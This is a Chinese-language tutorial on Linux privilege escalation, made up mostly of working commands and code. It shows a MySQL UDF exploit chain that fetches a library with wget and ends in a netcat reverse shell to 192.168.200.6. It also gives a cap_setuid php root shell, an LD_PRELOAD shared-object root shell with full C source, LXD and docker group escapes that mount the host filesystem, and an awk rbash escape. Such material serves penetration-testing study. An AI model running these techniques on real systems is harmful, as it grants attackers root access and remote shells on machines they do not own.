linux提权-2

信息收集工具:
https://github.com/rebootuser/LinEnum

数据库提权

Mysql提权方式:

1
2
3
4
5
#编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
gcc -g -shared -WL,-soname,1518.so -o udf.so 1518.c -1c
python -m http.server 8080
1
2
3
python -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp
wget http://192.168.200.1:8080/udf.so

连接进行导出调用

1
2
3
4
5
6
7
8
mysql -u账号 -p密码
seletc version();
select @@basedir; #确认mysql安装位置
show variavles like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件的位置
show variables like '%plugin%'; #查看插件位置
show variables like '%compile%'; #查看系统版本
use mysql;

show variables like ‘%secure%’;//查看可导出文件的位置这条命令执行后,查看secure_file_priv 是否开启,如果开启,将无法写入文件,则无法提权

创建shell表

1
create table shell(line blob);

往shell表中插入二进制的 udf.so

1
insert into shell values(load_file('/tmp/udf.so'));

导出 udf.so

1
select * from shell into dumpfile '/usr/lib/mysql/plugin/udf.so';    #将/tmp/udf.so放到/usr/lib/mysql/plugin/中

创建do_system函数

1
2
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.200.6 6666 -e /bin/bash');

Capability

相当于SUID的升级版

可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题

1
2
3
4
5
6
7
8
9
10
cp /usr/bin/php /tmp/php
#设置特权
setcap cap_setuid+epp /tmp/php #将/tmp/php设置特权为setuid
#删除特权
setcap -r /tmp/php
#查看单个特权
getcap /usr/bin/php
#查看所有特权
getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null

1,SUID利用

1
2
3
4
cp $(which php) .
sudo setcap cap_setuid+ep php

./php -r "posix_setuid(0); system('/bin/sh');"


前者为程序,后者为特权,如果特权足够大,将会导致提权
2,进程注入

1
2
usr/bin/python2.7 = cap_sys_ptrace+ep
#cap_sys_ptrace表示允许跟踪进程

利用方法:
利用usr/bin/python2.7去跟踪一个root权限的进程,来获取权限
所以需要写一个进程注入脚本

LD_Preload加载

LD_Preload是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序前优先加载的动态链接库,所谓的动态链接库其实就是DLL文件(linux为SO文件)
利用原理:
因为允许你定义在程序前优先加载的动态链接库,所以自己写一个so文件,让其加载

在etc/sudoers文件中存在两个信息

1
2
DEfaults        env_keep += LD_PRELOAD  #设置LD_Preload权限的开启
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find #普通用户sudo的执行权限

注意:这里/usr/bin/find可以是任何文件,也可能是第三方文件,如果真是find,那么就不会用到此提权手法了

1
2
3
4
5
6
7
8
9
10
//shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

编译

1
2
3
4
5
6
7
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
#同样在Windows操作系统中使用.dll文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
#让find执行时绑定shell.so
id
whoami

相当于sudo提权的升级版

LXD容器

原理:
LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。
LXD提权条件:

  • 已经获得shell
  • 用户属于LXD组
    利用手法:
    创建容器,挂载磁盘,进入容器,进入目录提权
1
2
3
4
5
6
7
#向被攻击机传入镜像alpine-v3.13.x86_64-20210218_0139.tar.gz,如果有网可直接在shell中拉取
lxc image import ./alpine-v3.13.x86_64-20210218_0139.tar.gz --alias test
lxc init test test -c security.privileged=true
lxc config device add test test disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root

docker容器

提权条件:

  • 获得shell
  • 用户属于docker组
    创建容器,挂载磁盘,进入容器,进入目录提权
1
2
3
4
5
docker run -v /:/mnt -it alpine #随便拉一个镜像
#第一个/ 表示真机的根目录
#/mnt表示虚拟机目录
#/:/mnt表示将真机的根目录放到虚拟机的/mnt目录下
cd /mnt/root

rbash绕过

https://www.cnblogs.com/yuy0ung/articles/18305203

1
awk 'BEGIN {system("/bin/bash")}'